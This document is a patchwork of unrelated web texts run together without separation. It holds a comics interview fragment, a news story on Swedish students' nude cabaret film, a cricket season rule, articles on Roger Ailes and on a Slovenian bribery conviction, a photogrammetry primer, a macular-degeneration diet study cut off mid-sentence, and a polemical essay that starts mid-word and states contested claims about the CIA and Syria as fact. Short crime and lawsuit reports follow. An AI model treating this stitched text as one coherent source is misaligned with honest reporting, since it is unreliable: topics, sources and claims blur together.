Pat Auliso and Josh Bayer combined forces to make The Greater Good, a comic about Steve Ditko and yes, it was a goddamn hoot. The Private Eye by BKV and Marcos Martin I have to catch up on, but what I've read is great. Same thing with Catalyst Comix. Joe Casey's the right guy to make these properties interesting and recruiting McDaid, Farinas, and Maybury only helps the cause. Matt Seneca's latest, Minotaur, is his best yet. Sloane Leong, she does it all and does it well. I recently discovered the work of Dave Ortega, but what can I say? It's compelling stuff and I look forward to more.
Anyone who says comics are crappy or dead have no idea what they're talking about. Except Alan Moore. He's exempt, as he's usually right about such things.
Nrama: …I think you actually read more comics than I did. This is not something I’m proud to admit.
What's next for you?
Fiffe: More writing, drawing, sleeping, eating right, long walks with my new dog Sharker, collecting Jademan comics, and reading books - books, Zack!
Nrama: Anything else you'd like to talk about that we haven't discussed yet?
Fiffe: Read Copra. Start with the Copra compendiums, then hit me up for the rest of the issues. A collection is in the works but why wait? Copra #13 will return in the new year, so I hope to see you all then!
Catch up on Copra on Fiffe’s website!“This kind of thing happens all the time,” the school’s principal, Peter Gustavsson told The Local.
“There’s nothing wrong with being naked. That’s still allowed.”
The eight-minute-long video, entitled “farmers daughters”, opens with a shot of a young man in bed with two young women. As the scene unfolds, it becomes apparent that all three students are naked.
“Damn, do you know what I just realised?,” says one of the girls.
“It’s our student cabaret night tonight. We forgot again!”
The two girls then run out of the room and proceed to let two other naked girls, both of whom are bound and gagged, out of the back of a truck.
Gustavsson explained that students at the school, the Natural Resource Use Programme high school (Naturbruksgymnasiet) in Strömma in western Sweden, periodically organise cabaret nights in which they perform satirical skits.
“These nights are a way for the students to poke fun at themselves and be creative,” he said.
Other scenes in the film feature half-naked young men sitting in a pig pen, a bare-bottomed young woman laying bareback on a horse, as well as a trio of young ladies who appear to be showing their breasts to a cow.
Nevertheless, the tone of the film is light and humourous, rather than erotic, and the students take great pains to keep their sex organs and nipples covered.
“I think the film is rather nice, actually. No one is drunk; there is no alcohol, no drugs. It’s just a bunch of naked kids having fun,” said Gustavsson.
In one sequence, two naked girls summon a third girl who is sawing down a tree with a chainsaw wearing only a protective helmet and lumberjack’s harness, while another scene shows a surprised young lady covering her nipples with a pair of rodents as she is called to follow to other nude co-eds.
As the video progresses, more and more bare-skinned students gather on the back of a tractor which eventually ends up at the door of one of the school’s buildings, at which point all of the students disembark and run inside the building.
In the closing scene, the students are seen slamming on a door.
The film was shown for the first time at one of the school cabaret nights in front of an audience of about 30 people, according to the Aftonbladet daily.
When the film ended, the door to the auditorium opened and the stars of the film dashed into the room naked, adding yet another creative twist to the project.
According to Gustavsson, the students in the film all graduated in 2009 and thus would have been 18 or 19 at the time the movie is believed to have been filmed.
He suspected the video was made while the students were still attending the school, however because "otherwise they wouldn’t have been able to get access to the buildings and the equipment".
Despite the school’s farm theme, the video indicates there may be a number of budding cinematographers within the school’s ranks, prompting Gustavsson to think about offering classes on making movies.
“I’m actually considering it. These students have something they want to say, so we might look at adding an elective class on film making,” he said.
While Gustavsson remained relaxed about the film, there were a couple of aspects of the cinematic work which bothered him, in particular the discrepancy between the amount of skin shown by the young women relative to the young men.
“From a gender perspective, the film is out of balance. These girls are good students, capable students – they don’t need to be running around naked to prove anything,” he said.
He also regretted that the school’s efforts to educate students about the risks of putting compromising material on the internet appear to have fallen on deaf ears.
“They’ve now lost control of their film, and I find that problematic,” said Gustavsson.
He also explained that, had he known about the students' plans for their cabaret show, he wouldn't have approved it.
“We require that they tell us ahead of time what they plan to do. However in this case, the students pulled a fast one on us and showed something that we hadn’t agreed upon,” said Gustavsson.
Editors Note: The video and related screenshots have been removed at the request of the copyright holderThe 2020s
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Please note that as a rule of thumb, any series or tour or tournament which began between the six months of April and September of any given year will appear in the relevant single year season and any that began between October and March will appear in the relevant cross-year season - For example the Indian Premier League that spanned April to June 2014 will appear in the 2014 season. However the Asia Cup in February/March 2014 will appear in the 2013/14 season. Matches which overlap these boundaries by more than a trivial amount will generally be assigned to the cross-year season, such as the World Twenty20 between March 16 and April 6 2014 can be found in the 2013/14 season.Roger Ailes, the influential former Fox News chairman who resigned from the network less than a month ago amid widespread accusations of sexual harassment, is helping Donald Trump prepare for the presidential debates, according to The New York Times.
Ailes will be in the awkward position of helping to prepare Trump, who has made misogynistic remarks throughout his career, to debate the first woman to earn the presidential nomination of a major party.
The Trump campaign denied the Times report in a statement.”This is not accurate. He is not advising Mr. Trump or helping with debate prep. They are longtime friends, but he has no formal or informal role in the campaign,” spokeswoman Hope Hicks told The Huffington Post.
But sources told Gabriel Sherman, the New York magazine reporter and Ailes biographer who has broken most of the news about the scandal, that Ailes has been advising Trump for months.
Important context is that Ailes has been advising Trump privately for months, sources close to both say. — Gabriel Sherman (@gabrielsherman) August 16, 2016
Since former Fox News host Gretchen Carlson filed a lawsuit against Ailes last month, at least 20 women have come forward with similar accusations, according to Carlson’s lawyers.
Carlson said in the lawsuit that she spoke up about sexist treatment at the network and faced retaliation for doing so. Ailes told her, “I think you and I should have had a sexual relationship a long time ago and then you’d be good and better and I’d be good and better,” according to the lawsuit.
Among those who say Ailes harassed them are Fox hosts Megyn Kelly and Andrea Tantaros. Former Fox booker Laurie Luhn told New York magazine that Ailes psychologically tortured her for more than 20 years.
Trump defended Ailes during an interview on “Meet The Press” last month, saying he had helped many of the women who were now accusing him of harassment.
“He’s been a friend of mine for a long time,” Trump said. “And I can tell you that some of the women that are complaining, I know how much he’s helped them. And even recently. And when they write books that are fairly recently released, and they say wonderful things about him.”
Ailes, long considered one of the most powerful men in media, advised former Presidents Richard Nixon, Ronald Reagan and George H. W. Bush. He prepared Reagan for his presidential debate in 1984 against Walter Mondale, telling him he needed to be prepared to answer questions about his age, according to Sherman’s biography. When the question did come up in the debate, Reagan famously said, “I will not make age an issue of this campaign. I am not going to exploit, for political purposes, my opponent’s youth and inexperience.”
Clinton’s campaign is preparing to deal with attacks from Trump about Bill Clinton’s history with Monica Lewinsky and other women, Politico reported on Tuesday.
“You can’t put it beyond Trump that Monica Lewinsky will play a role in this debate,” said Greg Craig, President Barack Obama’s former White House counsel, who helped both Obama and John Kerry with debate prep.
Michael Calderone contributed reporting.Janez Jansa speaks during a session in parliament in Ljubljana February 27, 2013. REUTERS/Srdjan Zivulovic
LJUBLJANA (Reuters) - Slovenia’s chief opposition leader was sentenced to two years in jail on Wednesday for bribery in a 2006 deal with Finnish defense group Patria, one of a number of corruption scandals that have fuelled public anger over the country’s financial crisis.
Janez Jansa had denied taking money in the aborted purchase of 135 Patria armored vehicles while he was prime minister and is expected to appeal. Two co-defendants were also found guilty and jailed for 22 months.
High-level corruption allegations have stirred public anger over a financial crisis that has exposed a culture of cronyism in the ex-Yugoslav republic, and could see it become the latest euro zone country to seek an international bailout.
Six people in Finland are being prosecuted over the same deal and an Austrian court has already convicted an Austrian citizen for corruption. The 278-million-euro ($363 million) contract was scrapped in 2012 after the allegations surfaced.
The Finnish government owns around 73 percent of Patria while European Aeronautic Defence and Space Company (EADS) holds some 27 percent.
Jansa championed Slovenia’s drive to secede from Yugoslavia in 1991 and was prime minister from 2004 to 2008 and again for a year until March 2013. His center-right government fell after an anti-corruption commission said Jansa was unable to explain the origins of a significant part of his income over the past several years. ($1 = 0.7650 euros)How do computer modelers turn a series of photographs into a 3D sculpture? Photogrammetry is a proven and affordable alternative to laser scanning, and we introduce you to the software and hardware you'll need to get started yourself. It's actually pretty accessible!
Our brains perceive depth by comparing the images that our eyes see. If you alternatively close each of your eyes, you will notice that the object you see will seem to shift left and right. An object that is closer, will seem to shift more than an object that is farther away. That's stereoscopic vision, and the core concept behind creating the illusion of three-dimensional objects and space from two 2D images. Your brain can use this information to subconsciously calculate and tell you how far away an object is supposed to be. In a similar way, photogrammetry is a photography technique using software to map and reconstruct the shape of an object, by comparing two or more photographs. The science of photogrammetry has been around for over 100 years. It was used in World War II by the Allies to construct invasion maps, discover the V2 rocket program, and later by NASA to make topographical maps of the moon for the Apollo missions. This was an expensive, laborious procedure employing a ton of people, and massive specialized cameras and plotting equipment.
Photogrammetry has come a long way since then, and it has even come along way since I first encountered it in my professional life years ago. Now you can create a 3D model from photos with just a smartphone and a few minutes of processing--what used to take a room of specially trained people many weeks to accomplish. Photogrammetry scanning pioneers like Lee Perry-Smith from Infinite Realities, and TEN24 have turned it into an art form.
From these photos, there are a few different technologies for making 3D models that are becoming easier to use, and cheap enough for anyone to do. The most popular include laser scanning with software like David 3D Scanner, using a Microsoft Kinect with software like ReconstructMe, or consumer photogrammetry with software like Autodesk’s 123D Catch, or Photoscan.
The very best 3D scanning I’ve seen has been done with a laser scanner, but photogrammetry is not too far behind. Laser scanning also takes special equipment, whether you have to make it or buy it. Using Microsoft’s Kinect for 3D scanning is neat because it gives you real time feedback, so you know when you’ve missed a spot. It’s pretty cheap, and millions of people already own one for their Xbox 360. However, because the camera in the Kinect is relatively low-res, it is not great for fine detail. I’m excited to see what people will be able to do with the Kinect 2 in the Xbox One, once Microsoft releases developer software for it.
Compared to the other 3D mapping techniques, photogrammetry with a still camera and most of the work done in computation is relatively easy. Though not as streamlined as using a closed system like Kinect, photogrammetry gives much higher-fidelity results, and makes use of equipment that is available to virtually everyone. Because it employs just a regular digital camera, the quality of photogrammetry modeling scales well as camera technology gets better. Modern digital camera sensors are extremely advanced, and because there is so much demand, they are also very inexpensive for what they do.
Today, I'm going to give you an overview of how photogrammetry works, what consumer software and hardware is available for you to try it yourself, and how to stage a lighting environment to best conduct your photogrammetry work.
Photogrammetry Software
Two of the more popular pieces of photogrammetry software are Autodesk’s 123d Catch and Agisoft’s Photoscan.
123D Catch by Autodesk is free and relatively easy to use. Your photos are processed on Autodesk's servers so you don’t need a powerful computer. By the same token Catch gives you very little in the way of configuration options, and the fine print says that Autodesk actually owns any scans you make with it.
123D catch by Autodesk
Photoscan is fast on lower detail settings, fairly easy to use, and can produce some amazing models. While $179 for the standard version isn’t cheap, compared to buying or building a laser scanner, it is very affordable. The quality of its results is also determined by your home computer, specifically memory capacity (since you're processing many high-resolution images). If you want the finest detail you can get, you will need a machine with as much RAM as you can get your hands on. That can get pricey, but if Photoscan runs out of memory while computing, you may be in for very long waits or even crashes. 256GB is not unheard of for use with this program.
Both programs work in a similar way. You have to take a series of photographs of an object from different angles, import them to the software, which then compare features across the photographs to generate a textured 3D model. Yes, it's textured and full color!
PhotoScan by Agisoft
Since the programs have very similar requirements for input, we can actually do an apples-to-apples comparison of the output. This also means we can reprocess our photos as better software comes out, or even use old images that were never meant for photogrammetry. That's where some real creativity can come in, in creating 3D models from aerial photography or even video.
But all this depends on the source footage. If the photos aren't good, then it's going to put a ceiling on the quality of your 3D model, no matter how good the software is. That's why photogrammetry is really about taking good photos--which is going to be different than a "good" photo for normal photography work. If you are familiar with 3D tracking software, like Syntheyes or Mocha Pro, you will have a good idea of what will make for good footage.
I'm going to talk about photography techniques for photogrammetry in the next piece, but the basic tenets are as follows:
Keep It Clear
Peep that pixel! You want to see those small features with as much detail as possible. If that freckle or tiny screw is blurry, find out why, and eliminate everything standing in the way of maximum sharpness. This is where more megapixels actually matters. And of course, shooting in RAW helps.
Give the software only high-confidence information. If you don't need the background, mask it out.
No Information is Better than Bad Information
Give the software only high-confidence information. If you don't need the background, mask it out. If you can't track a subject's hair, cover it up. If one image isn’t aligning correctly, get rid of it. You're smarter than the software at filtering this out before it gets to work, and you want to make its job as smooth as possible.
It’s All in The Picture
If its not in the picture, then It’s not in your mesh. Get underneath your subject to take photos, get above it as well. For heads, take a few extra pictures behind the ear. Make sure you have the coverage you need to get all the details you want, because it's difficult to go back and reshoot in the exact same conditions.
Photogrammetry Hardware
Digital Camera
Of course, you’ll need a camera to take your source photos. A smartphone camera will do, but a nice DSLR will give you better results. I have used several DSLRs, Including the Nikon D800. With it’s almost unparalleled resolution (36 megapixels), this camera is my favorite for larger and more complicated scenes that contain small details you want to capture. The Canon 5D Mk III is a great alternative with its excellent light sensitivity, allowing you to raise the ISO without introducing a lot of noise to your photos. This lets you keep your shutter speed high, and your aperture small (which is actually useful here).
I have also used a number of other cameras for photogrammetry work. Most modern cameras will work with enough light and a good technique. But the better the camera, the more leeway you'll get with your photos and the higher source quality for your software.
Tripod
A tripod is extremely useful and almost necessary when shooting photos for photogrammetry. The same can be said for your subject--something to stabilize both it and your camera while you take your photos. For a person, that can be a tall stool. for a small object, a lazy susan really helps. Even if you're shooting photogrammetry source photos with a smartphone, a tripod can give you more consistent shots. A tripod with a ball head that lets you rotate your DSLR to its side is very useful for portrait orientation shooting, to full the frame with your subject and capture as much detail as possible.
Lighting
As with "normal photography", lighting is important for a number of reasons. Bright, even lighting will allow you to have a small aperture to reduce the image's depth of field. Think about that for a second. Shallow depth-of-field is actually a bad thing for photogrammetry, because blurred details confuse the software. Our goal is to have high-detail, sharp, and flat imagery. That requires closing up the aperture, which means you need more light. Good lighting will also allow you to lower the ISO which will reduce grain, and it will allow you to have a high shutter speed which reduces motion blur.
The “evenness” of the lighting itself will help in several ways, too. Even lighting will reduce the effect of highlights on shiny objects. It'll be much easier to use the texture map from the scanning program because the shadows will not be “baked in" to the photo. In uneven lighting, areas with shadows will have less detail, and will not resolve as well in processing.
If you don't have access to lights, soft flat light can be achieved easily outdoors on an overcast day. Pose your subject, and if you see almost no shadow under them (in the chin and neck areas), your lighting will be very flat and even. You can even use something white or reflective to get rid of any remaining shadows, like under the chin if you are scanning a head.
Green Screen
Since the software is essentially tracking patterns across multiple images, we do everything we can to help it see those patterns. Sometimes, when the patterns on your object are too complex, or not complex enough, we just need to fudge it a bit.
If you happen to have a green screen or something similar, it can help you make a digital mask to cut out unwanted portions of your image. Light the screen evenly and place it far enough away so that the color of the screen does not bounce onto your subject. Test this by importing a shot of the screen onto your computer and selecting it with the magic wand tool in Photoscan or Photoshop, or a keying tool like Keylight in After Effects.
The same phenomena that helps our green screen work (i.e. being flat and featureless) will be bad for our subject. Subjects like blank white walls, or a one color plate. You can combat this by giving the software something to track. For a big white wall place pea-sized pieces of painters tape or post-it notes on the wall, which will give the software a hint of where the wall is, relative to the subject in each shot. For items like plates you can use a crayon or a grease pen. Put these marks in a place that will be easy to remove, both digitally and in real life.
As much fudging as you can do to help the software track the details of an object, some stuff is just too complicated for the software to make sense of. Unfortunately, people, (a popular scanning subject) have a big wad of this stuff on the tops of their heads--hair is really difficult to scan with photogrammetry. Until cameras have the resolution to resolve each individual hair, this is going to be a problem. Sometimes hair will scan, but usually you get a mess that is not worth fixing. It’s usually better to avoid the problem by covering it up. A stocking, bald cap, or a thin beanie will give you the shape of the persons head and scan well.
So that's a brief introduction to the software, hardware, and basic principles of photogrammetry. Despite it looking like a dark art, it's actually really accessible. Next time, I'll dispense some tips for taking photogrammetry photos, and we'll walk through the process of photographing one object and processing it in PhotoScan. Post any questions you have in the comments below!ABSTRACT
Background: Dietary factors are known risk factors for age-related macular degeneration (AMD)—the leading cause of visual loss among persons aged ≥65 y. High-glycemic-index diets have been hypothesized as a risk factor for AMD, but prospective data are unavailable. Objective: The objective was to examine the association between dietary glycemic index and the 10-y incidence of AMD in the Blue Mountain Eye Study population. Design: This was a population-based cohort study with 3654 participants (≥49 y) examined at baseline (1992–1994); 2335 patients were reexamined after 5 y and 1952 after 10 y. The Wisconsin System was used to grade 10-y incident early and late AMD from retinal photographs. A food-frequency questionnaire was used to collect dietary information at baseline, and an Australian database was used to calculate the mean glycemic index. Results: Over 10 y, 208 of 1810 persons (cumulative incidence: 14.1%) developed early AMD. After age, smoking, other risk factors, and dietary constituents were adjusted for, a higher mean dietary glycemic index was associated with an increased 10-y risk of early AMD in a comparison of quartiles 1 and 4 [relative risk (RR): 1.77; 95% CI: 1.13, 2.78; P for trend = 0.03]. Conversely, a greater consumption of cereal fiber (RR: 0.68; 95% CI: 0.44, 1.04; P for trend = 0.05) and breads and cereals (predominantly lower glycemic index foods such as oatmeal) (RR: 0.67; 95% CI: 0.44, 1.02; P for trend = 0.03) was associated with a reduced risk of incident early AMD. No relation was observed with late AMD. Conclusions: A high-glycemic-index diet is a risk factor for early AMD—the recognized precursor of sight-threatening late AMD. Low-glycemic-index foods such as oatmeal may protect against early AMD.
INTRODUCTION
Age-related macular degeneration (AMD) affects >10% of persons aged ≥50 y and is the most frequent cause of incurable blindness in the United States and elsewhere (1–3). AMD has early and late forms; early AMD is the precursor for sight-threatening late AMD. Dietary factors have long been implicated as possible risk factors for AMD. The Age-Related Eye Disease Study (AREDS) has shown that high-dose zinc and antioxidant supplementation have reduced the progression from early to late AMD (4, 5). However, few clinical trials have investigated the primary prevention of early AMD, and their findings have been equivocal (6, 7).
Dietary glycemic index (GI) is commonly used to characterize the postprandial blood glucose response to the consumption of carbohydrates, which is now recognized as an important factor for cardiovascular disease (8, 9). The GI ranks carbohydrate quality from 0 (low glycemic response) to 100 (high glycemic response) on the basis of the blood glucose response 2 h after the consumption of 50 g of a carbohydrate food relative to the response after the consumption of 50 g of glucose (10). The index therefore provides a global summary measure of the rate of digestion and absorption of that carbohydrate food. Diets with a high GI are associated with an increased risk of coronary heart disease, stroke, and type 2 diabetes (11–14).
It is unknown whether high-GI diets are associated with risk of AMD. Two cross-sectional studies reported an association between dietary consumption of carbohydrates with higher GIs and AMD (15, 16), but prospective studies are lacking. In this population-based prospective cohort study, we examined the associations of dietary GI and long-term risk of AMD. We specifically investigated the independent effect of dietary fiber intake, given known interrelations between GI and fiber, (17) and also investigated food groups that could underlie potential associations.
SUBJECTS AND METHODS
Study population
We conducted a population-based cohort study of vision, common eye diseases, and other health outcomes in an urban, predominantly white population aged ≥49 y in the Blue Mountains, west of Sydney, Australia (Blue Mountain Eye Study). At baseline in 1992–1994, 3654 participants (82.4% response) were examined (18, 19). Participants were examined every 5 y; 2335 (75.1% of survivors) at the second examination in 1997–1999, and 1952 (76.5% of survivors) at the third in 2002–2004. The study complied with recommendations of the Helsinki Declaration and was approved by the Sydney West Area Health Service Human Research Ethics Committee. Written informed consent was obtained from all participants.
AMD definition
At each visit, 30° stereoscopic retinal photographs of the macula and other retinal fields of both eyes were taken, as described previously (18). Details of the photographic grading for AMD lesions were reported previously (18), which closely followed the Wisconsin Age-Related Maculopathy Grading System (20). All photographs taken at each examination had an initial masked grading. Assessments of inter- and intragrader reliability showed good agreement (18). Side-by-side grading of the baseline and 5-y photographs (21) and of the baseline and 10-y photographs was then performed for participants with any AMD lesions identified at either follow-up examination.
Early AMD was defined, in the absence of late AMD, as presence at the macula of either 1) large (>125 μm diameter) indistinct soft (or reticular) drusen or 2) both large distinct soft drusen and retinal pigmentary abnormalities (hyperpigmentation or hypopigmentation) (18, 22). Late AMD was defined to include either neovascular AMD or geographic atrophy—the 2 late-stage lesions described in the International AMD classification (22). All late AMD cases detected from each examination were adjudicated and confirmed by a retinal specialist (PM).
Incident early AMD was defined by new appearance of early AMD lesions at follow-up examinations (1). Participants with either distinct soft drusen or retinal pigmentary abnormalities at the baseline examination, but not both, who went on to develop complementary lesions that together made up early AMD were included as incident early AMD cases (1). Incident indistinct soft drusen or incident ret |
ears of those familiar with the Congress for Cultural Freedom’s machinations to set leftists and liberals against each other through media manipulation. While left and right-wing disinformation collaborationists are everywhere and the CIA obviously has its people placed throughout the cultural and media landscape, it is clear to me that there is something else involved.
So much of the ongoing propaganda travels under the banner of “the war on terror,” which is, of course, an outgrowth of the attacks of September 11, 2001, appropriately named and constantly reinforced as 9/11 in a wonderful example of linguistic mind-control: a constant emergency to engender anxiety, depression, panic, and confusion, four of the symptoms that lead the DSM “experts” and their followers to diagnose and drug individuals. The term 9/11 was first used in the New York Times on September 12, 2001 by Bill Keller, the future Times’ editor.
Douglas Valentine, a true expert on the CIA and author of The CIA as Organized Crime and The Phoenix Program, has shown that the CIA’s highly structured assassination program in Vietnam – the Phoenix Program – is the template for “the war on terror.” In other books he has shown how the CIA’s role in drug trafficking is directly linked to the massive increased usage of heroin and other street drugs, another face of the drugging of the country. Thus the “institutional” structure and consequent practices of one of the most ruthless propaganda and terrorist organizations of the United States’ deep-state (the Phoenix program) continues to this day here and abroad. To think that the Agency’s handiwork once carried on under the banner of the Committee for Cultural Freedom does not continue today would take extreme naïveté, the inability to reason, historical ignorance, plain bad faith, or a combination thereof.
Which brings me back to the issue of why so many “liberal” Democrats – those whose bibles are the New York Times, NPR, The Washington Post, Democracy Now, etc. – can only see propaganda when they can attribute it to Donald Trump or the Russians. Why has this group, together with their Republican and conservative fellow travelers, embraced a new McCarthyism and allied itself with the deep-state forces that they were once allegedly appalled by? It surely isn’t the policies of the Trump administration or his bloviating personality, for these liberals allied themselves with Obama’s anti-Russian rhetoric, his support for the U.S. orchestrated neo-fascist Ukrainian coup, his destruction of Libya, his wars of aggression across the Middle East, his war on terror, his trillion dollar nuclear weapons modernization, his enjoyment of drone killing, his support for the coup in Honduras, his embrace of the CIA and his CIA Director John Brennan, his prosecution of whistle-blowers, etc. The same media that served the CIA so admirably over the decades became the media that became liberals’ paragons of truth. Why?
Let me try to answer by referring to two articles that appeared side-by-side in The New York Times Magazine for May 28, 2017. Their content, style, and juxtaposition suggest an answer to the schizoid subtleties of master manipulators, and how cultural/political propaganda works in oblique ways off the front pages.
The cover story for that issue, “Aleppo After the Fall,” accompanied by the words “Life And Loss Amid The Ruins of Syria’s Fractious And Devastating Civil War” and a photo of a demolished Aleppo district, sets the tone, especially the lie in the words “civil war.” The war was started under President Obama in March 2011 by the United States/NATO/Israel with the arming of Islamist “freedom fighters” in an effort to overthrow President Bashar al Assad. But the Sunday morning Times reader is immediately told otherwise, as they have been for the past six years of carnage. Most probably don’t notice the deception as they flip to the table of contents where they see a photo of cream puffs and coffee.
As they sip their morning coffee and think about cream puffs, let’s imagine our readers turning to the first major story preceding the Aleppo piece by Robert F. Worth, a contributing writer for the magazine. It is an article titled “Empire of Dust” by Molly Young, also a contributing writer. It is a title that suggests further disintegration of a most serious nature (no, not the American Empire), yet it is an article about Amanda Chantal Bacon and the rise of the wellness industry. A photo of this “beatific” 34 year old entrepreneurial guru in a flowing white gown in a half-lotus position, seated on a marble kitchen countertop surrounded by some “magical” rocks, takes up an entire page. The photo, a Barthian signifier if ever there were one, is clearly meant to be deciphered by the Times’ clientele for secrets to the beautiful, luxurious, and peaceful life due to one of means and exquisite taste, one who will spend five dollars on a newspaper and live a balanced, Epicurean life of self-care and sophistication. Bacon’s massive light-filled kitchen with its marble countertops – a sine qua non of today’s “good life” – serves the usual elitist function of drawing in readers with a discerning, moneyed eye.
Alternately fawning and critical, Young begins by telling the reader, “The amount of time I waste finding and consuming alternative-medicine supplements for ‘brain function’ has made me at least 10 percent dumber, and that paradox is not lost on me. It was that impulse that made me pause last year at a fancy store in Brooklyn when I spotted a glass jar labeled ‘Brain Dust’.” From there Young takes us to Los Angeles, where she interviews the lifestyle guru Bacon, and we hear about Spirit Dust, Beauty Dust, Sex Dust, vaginal steaming, spirit truffles, and sunbathing the vagina, and to the Hamptons where she again spots Brain Dust in an expensive store that also sells “boeuf-bourguignon-flavored dog biscuits.” Young, having traversed the golden triangle – Brooklyn, L.A., and the Hamptons – tells us how Bacon captures her imagination even as she “was ashamed of its capture.” She drinks Power Dusted coffee with the Moon Juice founder who tells her, “I was told growing up in NYC that I had learning disabilities and mental illness. That was all the rage in the ‘90s.” (Presumably they are raging no longer.) After offering mild criticisms’ and writing that after visiting Bacon’s house she “wanted to move to California and eat bee pollen,” Young covertly orders bee pollen from her phone and ends by telling us that the Moon Juice bee pollen she has ordered “would arrive in two to four business days.” The reader is left to wonder who is dumber or smarter despite or because of the Brain Dust.
But if one is feeling brain dead, one can move or jump-cut to the next article, a piece of cosmopolitan gravitas meant to clarify who are the good guys and who the bad in the Middle East, specifically Syria.
Turning to this article on Aleppo, a juxtaposing of pornographic proportions, one is greeted with a two page photo of totally destroyed buildings in front of which walk a woman pushing a toddler in a stroller and a man pushing another toddler in a makeshift wooden cart covered in plastic sheeting. One flips from “Sex Dust” to disgust and heartbreak in a page turn. The reader is walked step-by-step into a piece of political propaganda, as Robert Worth tells us that “The Syrian tragedy started in a moment of deceptive simplicity, when the peaceful protesters of the 2011 Arab Spring seemed destined to inherit the future.” This deception is then quickly followed with the claim that Assad used “chemical weapons in the town of Khan Sheikhoun in early April,” an assertion backed by no evidence and clearly refuted by Seymour Hersh, among others. Worth tells us that “the Syrian regime (note the sly use of the word regime, a staple of linguistic mind-control) and its Russian allies repeatedly bombed hospitals and civilian areas,” and that in the United States such actions were “widely deplored as a war crime comparable to the worst massacres of the Bosnian war during the 1990s.” One has to give credit to Worth for a masterful double-deception here, first by accusing the Syrians and Russians but not the United States of repeatedly bombing hospitals and civilian areas, and then segueing to the “Bosnian” war with nary a mention of the U.S./NATO conspiracy to dismantle Yugoslavia through proxies and the subsequent massive bombing of Serbia and Serbian civilians that were clearly war crimes committed by the liberal saint, Bill Clinton. Throughout this piece Worth repeatedly accuses the Assad government of war crimes and atrocities while whitewashing the United States. Immediately following his assertion of Syrian war crimes, he tells the Sunday Times’ readers that “ the State Department released satellite photographs suggesting that the regime is burning the bodies of executed prisoners in a crematory at the Sednaya prison complex, north of Damascus, in an alleged effort to hide evidence.” This claim is based on a totally discredited claim made in February 2017 by Amnesty International, and Worth, knowing that there is no evidence for this, cagily uses the words “suggesting” and “alleged.” But juxtaposed with the war crimes assertions, only a careful reader searching for truth would notice the trick, surely not a Time Magazine reader already predisposed by the daily Times’s constant flow of government lies. Quoting a speech by Assad in which he claimed there was a “huge conspiracy” to dismantle and destroy Syria, Worth dismissively rejects this obvious truth by quoting an anonymous former regime official (a common tactic) who says he was shocked by the speech. If Assad had given a different speech, Worth notes, “the past six years would have unrolled very differently, and oceans of blood might have been spared.” This is the imperial mindset at its finest, all rolled into an extensive New York Times Magazine article meant to enlighten and inform its alleged sophisticated readers.
Stylish Substance Abuse
What I am suggesting with these magazine examples is that the old trick perfected by the Congress for Cultural Freedom to juxtapose cultural pieces with political ones is alive and well today, even if the CCF or its equivalent doesn’t exist, since it isn’t needed. Illiteracy has become the norm and stupidity the rule as the electronic revolution has destroyed people’s ability to concentrate or stay focused long enough to realize they are being taken for a ride by propagandists and that they are being purposely overloaded with information meant to create a felt need for “Brain Dust.” This has been going on for so long that to admit one is still being taken for a ride is equivalent to admitting to gullibility so profound that it must be denied. It is one thing criticize the politicians you hate – George W. Bush and Donald Trump for liberal Democrats and Bill Clinton and Obama for conservative Republicans – and to call them liars; but to contemplate the fact that the CIA has been lying to you through all these mouthpieces and your vaunted news sources are stenographers for the intelligence agencies is too much reality to bear. “I might have looked funny in that old photograph, but today I am with it and stylish.”
Sure.
Everything has become style today, and no doubt the CIA has learned that the trick is to hide truthful substance behind the style. Evidence is beside the point. Just assert things in a slick style. Assert them repeatedly, even when they have been proven false or fraudulent. Sex Dust and Power Dust may be absurd con jobs, but they sell. They meet a “need,” a need created by the society that has slyly equated power with sex for a population that has been convinced they have neither and need drugs to endow them with both. A piece about Brain Dust may not have the drawing power of a Paris Review interview with Ernest Hemingway or Boris Pasternak, but then there were no “lifestyle gurus” in those days when people read real literature, not today’s New York Times best sellers. Propaganda was more literary in those days; it had to have substance. In a “wellness culture,” it has to have style. Today the only time you hear the word substance, is in “substance abuse,” which is fitting.
The CIA is in the styling business; they’ve gone shallow. Everyone looks great that way, or so they think.A Redlands man fired a shot at the ceiling of his home Sunday night and then held police at bay for three hours before surrendering.
Police evacuated three homes surrounding the residence in the 800 block of East San Bernardino Avenue during the standoff, Redlands police spokesman Carl Baker wrote in an email. No one was injured.
The 48-year-old man, whose name was not released, was taken to Arrowhead Regional Medical Center in Colton for an unspecified evaluation. No injuries were reported and the man was not arrested, Baker said.
Police received a call reporting gunfire at 8:30 p.m. and talked to the man’s wife, who told them he had been drinking and had fired a shot into the ceiling of the home before barricading himself in a bedroom.
Police set up a perimeter around the home and called in air support from the Fontana Police Department and the San Bernardino County Sheriff’s Department. Police negotiated with the man, who surrendered at 11:30 p.m. Police recovered a 9 mm handgun in the house.A former inmate alleges that he was tortured with a snake by jail guards. Trawick Redding, Jr. of Ozark has filed a $3 million lawsuit claiming that guards in an Alabama jail made use of a Burmese python snake to harass and torture him.
Redding claims that he suffered injuries after two guards used a six-to-seven-foot-long yellow Burmese python to torture him while he was in custody on theft charges, AL.com reports. He said that after he woke from a nap in his bunk, one of the officers had a large snake right in front of his face. Redding says that he jumped and hit his head, which led to him visiting a medical facility off-site.
The inmate who claims he was tortured with a python snake also had to see a therapist. Redding’s attorney, Martin Weinberg, explains that “this is a very serious matter that should be dealt with.”
“We think this is a very serious matter that should be dealt with. This was not just a garden snake that somebody just found on the ground walking into the jail or the woods by the jail. This was something that was planned out as a means to control, torture and harass the inmates.”
Two correctional officers — Zeneth Glenn and Ryan Mittlebach — were fired over the alleged incident. They’re accused of using a “deadly and venomous snake as a means of torture, assault of inmate, cruel and unusual punishment” while he was in jail two years ago.
Trawick goes on to say that Glenn and Mittlebach had the python in the jail kitchen where he worked as a trustee on August 11, 2013. The former inmate told the jail guards that he was afraid of snakes and didn’t want to be anywhere near it.
Redding say that others in the jail staff — including supervisors — saw the python.
It was several hours after breakfast that Redding said he went back to his cell to take a nap. He was rudely met with a yellow Burmese python that Glenn was holding when he opened his eyes.
Redding cites chronic health conditions, such as congestive heart failure and diabetes, as worsening since the jail guards tortured him with the snake. He had to remain in jail one year after the alleged occurrence.
According to the report, the Dale County Sheriff’s Office has no comment on the lawsuit.
Dothan Eagle reports that the Dale County Commission Chairman, Mark Blankenship, said the suit has been turned over to the county’s insurance company. He explained that it’s “primarily something the sheriff manages. We own the jail, but the sheriff manages it.”
[Photo by Joe Raedle/Getty Images]NEWARK, N.J. (AP) — Two airplanes have again clipped wings at New Jersey’s Newark Liberty International Airport for the second day in a row.
